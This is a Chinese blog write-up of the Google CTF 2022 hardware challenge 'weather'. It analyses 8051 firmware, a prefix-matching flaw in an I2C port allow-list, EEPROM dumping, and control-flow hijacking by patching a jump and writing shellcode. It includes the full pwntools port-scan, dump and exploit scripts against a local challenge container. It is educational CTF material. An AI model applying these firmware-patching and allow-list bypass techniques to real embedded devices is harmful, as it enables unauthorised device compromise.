Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

[Googlectf2022]硬件题weather

Posted on 2023年3月1日2023年3月1日 by Nameless

前言

之前尝试挖iot设备的漏洞大多是基于对固件的分析,对硬件层面的东西还不太熟悉,正好开学数电计组连考积累了一点点这方面最基础的东西,于是就找了这道题来做个人了解硬件的一个入门

前置知识

当时看着xuanxuan师傅的博客,遇到了很多问题也学到了许多零散的知识,总结如下:

(1)I2C总线

(2)SPI协议

(3)EPPROM

(4)8051的特殊寄存器sfr

复现环境搭建

下载下来的赛题环境里有个docker,从dockerfile里可以看出运行在1337端口:

使用如下命令运行docker:

docker build -t hardware:weather .

docker run --privileged -p xxxx:1337 -d hardware:weather

然后使用nc指令就能连上了:

nc 127.0.0.1 1337

附件分析

附件通过一个pdf提供了赛题的集成电路图:

可以看出:

(1)存在5个传感器,通过IIC总线连接

(2) EEPROM与8051通过SPI协议相连,并且都有IIC总线接口

(3)Flag位于8051的FlagROM

分析题目提供的源码:

#include <stdint.h>
#include <stdbool.h>

#ifndef NULL
#define NULL ((void*)0)
#endif

// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;

// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS;  // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;

// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;

const char *ALLOWED_I2C[] = { //五个传感器 
  "101",  // Thermometers (4x).
  "108",  // Atmospheric pressure sensor.
  "110",  // Light sensor A.
  "111",  // Light sensor B.
  "119",  // Humidity sensor.
  NULL
};

int8_t i2c_write(int8_t port, uint8_t req_len, __xdata uint8_t *buf) {
  while (I2C_STATUS == 1) {
    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }

  I2C_BUFFER_XRAM_LOW = (uint8_t)(uint16_t)buf;
  I2C_BUFFER_XRAM_HIGH = (uint8_t)((uint16_t)buf >> 8);
  I2C_BUFFER_SIZE = req_len;
  I2C_ADDRESS = port;

  I2C_READ_WRITE = 0;  // Start write.

  int8_t status;
  while ((status = I2C_STATUS) == 1) {
    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }

  return status;
}

int8_t i2c_read(int8_t port, uint8_t req_len, __xdata uint8_t *buf) {
  while (I2C_STATUS == 1) {
    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }

  I2C_BUFFER_XRAM_LOW = (uint8_t)(uint16_t)buf;
  I2C_BUFFER_XRAM_HIGH = (uint8_t)((uint16_t)buf >> 8);
  I2C_BUFFER_SIZE = req_len;
  I2C_ADDRESS = port;

  I2C_READ_WRITE = 1;  // Start read.

  int8_t status;
  while ((status = I2C_STATUS) == 1) {
    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }

  return status;
}

const char *i2c_status_to_error(int8_t err) {
  switch (err) {
    case 0: return "i2c status: transaction completed / ready\n";
    case 1: return "i2c status: busy\n";
    case 2: return "i2c status: error - device not found\n";
    case 3: return "i2c status: error - device misbehaved\n";
  }

  return "i2c status: unknown error\n";
}

void serial_print(const char *s) {
  while (*s) {
    while (!SERIAL_OUT_READY) {
      // Busy wait...
    }

    SERIAL_OUT_DATA = *s++;
  }
}

char serial_read_char(void) {
  while (1) {
    if (SERIAL_IN_READY) {
      return (char)SERIAL_IN_DATA;
    }

    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }
}

struct tokenizer_st {
  char *ptr;
  int replaced;
};

void tokenizer_init(struct tokenizer_st *t, char *str) {
  t->ptr = str;
  t->replaced = 0x7fff;
}

char *tokenizer_next(struct tokenizer_st *t) {
  if (t->replaced != 0x7fff) {
    *t->ptr = (char)t->replaced;
  }

  while (*t->ptr == ' ') {
    t->ptr++;
  }

  if (*t->ptr == '\0') {
    return NULL;
  }

  char *token_start = t->ptr;
  for (;;) {
    char ch = *t->ptr;
    if (ch != ' ' && ch != '\0') {
      t->ptr++;
      continue;
    }

    t->replaced = *t->ptr;
    *t->ptr = '\0';
    return token_start;
  }
}

uint8_t str_to_uint8(const char *s) {
  uint8_t v = 0;
  while (*s) {
    uint8_t digit = *s++ - '0';
    if (digit >= 10) {
      return 0;
    }
    v = v * 10 + digit;
  }
  return v;
}

void uint8_to_str(char *buf, uint8_t v) {
  if (v >= 100) {
    *buf++ = '0' + v / 100;
  }

  if (v >= 10) {
    *buf++ = '0' + (v / 10) % 10;
  }

  *buf++ = '0' + v % 10;
  *buf = '\0';
}

bool is_port_allowed(const char *port) { //前缀匹配 
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {
      return true;
    }
  }
  return false;
}

int8_t port_to_int8(char *port) {
  if (!is_port_allowed(port)) {
    return -1;
  }

  return (int8_t)str_to_uint8(port);
}

#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
  serial_print("Weather Station\n");

  static __xdata char cmd[CMD_BUF_SZ];
  static __xdata uint8_t i2c_buf[I2C_BUF_SZ];

  while (true) {
    serial_print("? ");

    int i;
    for (i = 0; i < CMD_BUF_SZ; i++) {
      char ch = serial_read_char();
      if (ch == '\n') {
        cmd[i] = '\0';
        break;
      }
      cmd[i] = ch;
    }

    if (i == CMD_BUF_SZ) {
      serial_print("-err: command too long, rejected\n");
      continue;
    }

    struct tokenizer_st t;
    tokenizer_init(&t, cmd);

    char *p = tokenizer_next(&t);
    if (p == NULL) {
      serial_print("-err: command format incorrect\n");
      continue;
    }

    bool write;
    if (*p == 'r') {
      write = false;
    } else if (*p == 'w') {
      write = true;
    } else {
      serial_print("-err: unknown command\n");
      continue;
    } //首先获取操作符 

    p = tokenizer_next(&t);
    if (p == NULL) {
      serial_print("-err: command format incorrect\n");
      continue;
    }

    int8_t port = port_to_int8(p); //获取操作端口 
    if (port == -1) {
      serial_print("-err: port invalid or not allowed\n");
      continue;
    }

    p = tokenizer_next(&t);
    if (p == NULL) {
      serial_print("-err: command format incorrect\n");
      continue;
    }

    uint8_t req_len = str_to_uint8(p);//获取操作长度 
    if (req_len == 0 || req_len > I2C_BUF_SZ) {
      serial_print("-err: I2C request length incorrect\n");
      continue;
    }

    if (write) { //将写入数据从str转换为uint8数组 
      for (uint8_t i = 0; i < req_len; i++) {
        p = tokenizer_next(&t);
        if (p == NULL) {
          break;
        }

        i2c_buf[i] = str_to_uint8(p);
      } 

      int8_t ret = i2c_write(port, req_len, i2c_buf);
      serial_print(i2c_status_to_error(ret));
    } else {
      int8_t ret = i2c_read(port, req_len, i2c_buf);
      serial_print(i2c_status_to_error(ret));

      for (uint8_t i = 0; i < req_len; i++) {
        char num[4];
        uint8_to_str(num, i2c_buf[i]);
        serial_print(num);

        if ((i + 1) % 16 == 0 && i +1 != req_len) {
          serial_print("\n");
        } else {
          serial_print(" ");
        }
      }

      serial_print("\n-end\n");
    }
  }

  // Should never reach this place.
}

通过标志性的语法“__sfr __at”可以分析出这个是基于SDCC开发的

可以下载一个SDCC的官方编译器,甚至默认安装选项里就会自动添加环境变量(windows环境),非常方便,在windows的cmd中输入如下命令便可编译:

sdcc firmware.c

编译得到如下文件

其中ihx是可逆向的文件,笔者使用的ida7.7貌似不能直接识别为8051,需要手工选择:

程序提供了两个形式的输入指令:

w port size <PageIndex> <4ByteWriteKey>  <ClearMask> ... <ClearMask>
r port size

其中对port有个检查:

发现有个明显的漏洞,就是对于匹配的“101”字符,输入“101xxxxxxx”居然也能通过这个匹配

结合后面的str_to_int8可以得到最终的端口号为”101xxxx % 256″

又因为:

所以:

又因为IIc总线最多支持128个设备,于是我们从101120~101120+128爆破扫描128次即可爆破出所有端口

爆破脚本:

from pwn import *
context.arch = 'i386'
##context.log_level='debug'

def z():
    gdb.attach(r)

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))


if __name__ == "__main__":
   global r
   #r = process("./test")
   r = remote("127.0.0.1",1337)
   for i in range(0,129):
       test = 101120 + i 
       pd = "r %s 4" % test  
       sla("?",pd)
       a = r.recvuntil("-end")
       if "error" not in a :
           print("[+]port found :%s"%i)
           print(a)          
   io()

扫出来一个题目没有的33号端口,十分可疑

用r指令读一下(读最大的128字节)试试:

结合ida逆向的ihx文件:

发现这两者高度吻合,那么基本可以确定33号port就是EEPROM了,也就是EEPROM挂载到了8051的I2C总线上了

但是存在一个问题——ihx文件里面从0x40开始是有东西的,但是输出里显示从”\x44\x00″过后就没东西了

从pdf里可以看出只输出了一页的内容

那么如果把8051的固件全部dump下来,我们需要对EEPROM的页进行切换

注意到给的pdf的这里:

“W”指令有一个PageIndex,选择写EEPROM是写具体的哪一页,那么我们应该能够通过如下指令切换EEPROM的页:

W port 1 <PageIndex>

也就是在不提供wirtekey的情况下实现EPPROM页的切换:

把这64页都读一遍就可以把8051的固件dump下来了

dump脚本:

from pwn import *

def int_to_bytes(x):
   return int(a,10).to_bytes(1,'little')

if __name__ == "__main__":
   #a = "16"
   #print(int(a,10).to_bytes(1,'little'))
   f = open("firmware.bin","wb")
   r = remote("127.0.0.1",1337)
   for i in range(0,64):
       r.sendlineafter(b"?",("w 101153 1 %s" % str(i)).encode())
       r.sendlineafter(b"?",b"r 101153 64") 
       r.recvuntil(b"ready\n")
       a = r.recvuntil(b"-end",drop=True)
       a = a.replace(b"\n",b" ")
       a = a.decode('utf-8').split(' ')[:-2]
       assert(len(a)==64)
       for j in a :
           f.write(int(j,10).to_bytes(1,'little'))
   f.close()
   r.interactive(

把dump下来的文件放入ida发现和ihx文件几乎没有差别

漏洞利用

紧接着我们就要考虑如何通过往EEPROM里擦写,劫持8051的运行流,读取FlagROM里的flag

EEPROM擦写规则

基于EEPROM的物理特性,对它进行写操作只能将bit的1写为0,而不能把0写为1(有点类似于画沙画)。

而且它的擦写规则是写入目标数据取反,也就是0xFF减这个数据

从ihx逆向里可以发现一个风水宝地:

从0x9E9开始的很大一段区域都是0xFF

但实际通过r指令读第40页的内容,发现并不是从0x9E9开始,而应该是0xA02(也可以用winhex等软件查看):

那么我们就可以在这段区域布置shellcode,并修改前面的某个跳转指令劫持8051的运行流到这块shellcode

运行流劫持

对于这题,运行流劫持最方便的手法肯定是绝对地址跳转

逆向发现一共有两种绝对地址跳转:

(1)ljmp:

(2)lcall:

指令形式非常好理解:

02/12 aa bb :aa bb 为地址

我们希望得到一个0x[b~f]00的地址,那么只需要考虑aa的情况(因为bb异或bb就直接清零了)

经过寻找发现这里比较合适,因为这里正好有个0x7E,改改就能改成0x0E(完全参考了xuanxuan师傅的思路):

(ps:这里用的是dump下来的文件,和题目给的编译出来的会有差别)

改成这个样子:

然后在0xe00处布置好shellcode就行了

shellcode写法

写这个shellcode主要是对FLAGROM_ADDR和FLAGROM_DATA以及SERIAL_OUT_DATA这三个SFR的操作:

// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;

如果用c语言写的话应该是这样:

#include <stdint.h>
#include <stdbool.h>

#ifndef NULL
#define NULL ((void*)0)
#endif

// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;


void main(void) {
  for(int i=0; i<255; i++){
      FLAGROM_ADDR = i;
      SERIAL_OUT_DATA = FLAGROM_DATA;
  }
}

直接编译然后用它的汇编有点长,所以考虑对着这篇博客的手册手搓汇编和机器码:

https://blog.csdn.net/qq_30787727/article/details/111239582

汇编:

void main(void) {
  __asm
    mov  R7, #0 
    mov  A, R7 
    mov  _FLAGROM_ADDR, A
    mov  A, _FLAGROM_DATA
    mov  _SERIAL_OUT_DATA, A
    INC R7
    ljmp 0xe02
  __endasm;
}

编译出的机器码:

那么我们就可以根据机器码然后转成10进制(题目格式)数了

完整exp

from pwn import *
context.arch = 'i386'
##context.log_level='debug'

def z():
    gdb.attach(r)

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))


if __name__ == "__main__":
   global r
   #r = process("./test")
   r = remote("127.0.0.1",1337)
   shellcode =[0x7F,0x0] #mov R7, #0
   shellcode +=[0xEF] #mov A, R7 
   shellcode +=[0xF5,0xEE] #mov    _FLAGROM_ADDR, A
   shellcode +=[0xE5,0xEF] #mov    A, _FLAGROM_DATA
   shellcode +=[0xF5,0xF2] #mov _SERIAL_OUT_DATA, A 
   shellcode +=[0x0F] #INC R7 
   shellcode +=[0x02,0x0E,0x02] #ljump 0xe02
   
   s = ''
   for i in shellcode :
       s += str(255-i) + " "
   print(s)   
   sla(b"?",b"w 101153 100 56 165 90 165 90 " + s.encode())       
   sla(b"?",b"w 101153 100 19 165 90 165 90 "+b'0 '*51+b"255 255 253 241")
   io()

总结

学到了SDCC的基础语法和汇编指令,对硬件层面又有了新的认识

参考文章

https://xuanxuanblingbling.github.io/iot/2022/11/02/8051/

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 基于树莓派的蓝牙调试环境搭建
  • shell之外的往事:机械兔子
  • [Googlectf2022]硬件题weather
  • 嵌入式设备组播路由攻击实战
  • 嵌入式设备串口调试以及破解实战

近期评论

    归档

    • 2023年3月
    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • hardware
    • Linux
    • oi
    • PWN
    • python
    • shell之外的往事
    • 嵌入式开发
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes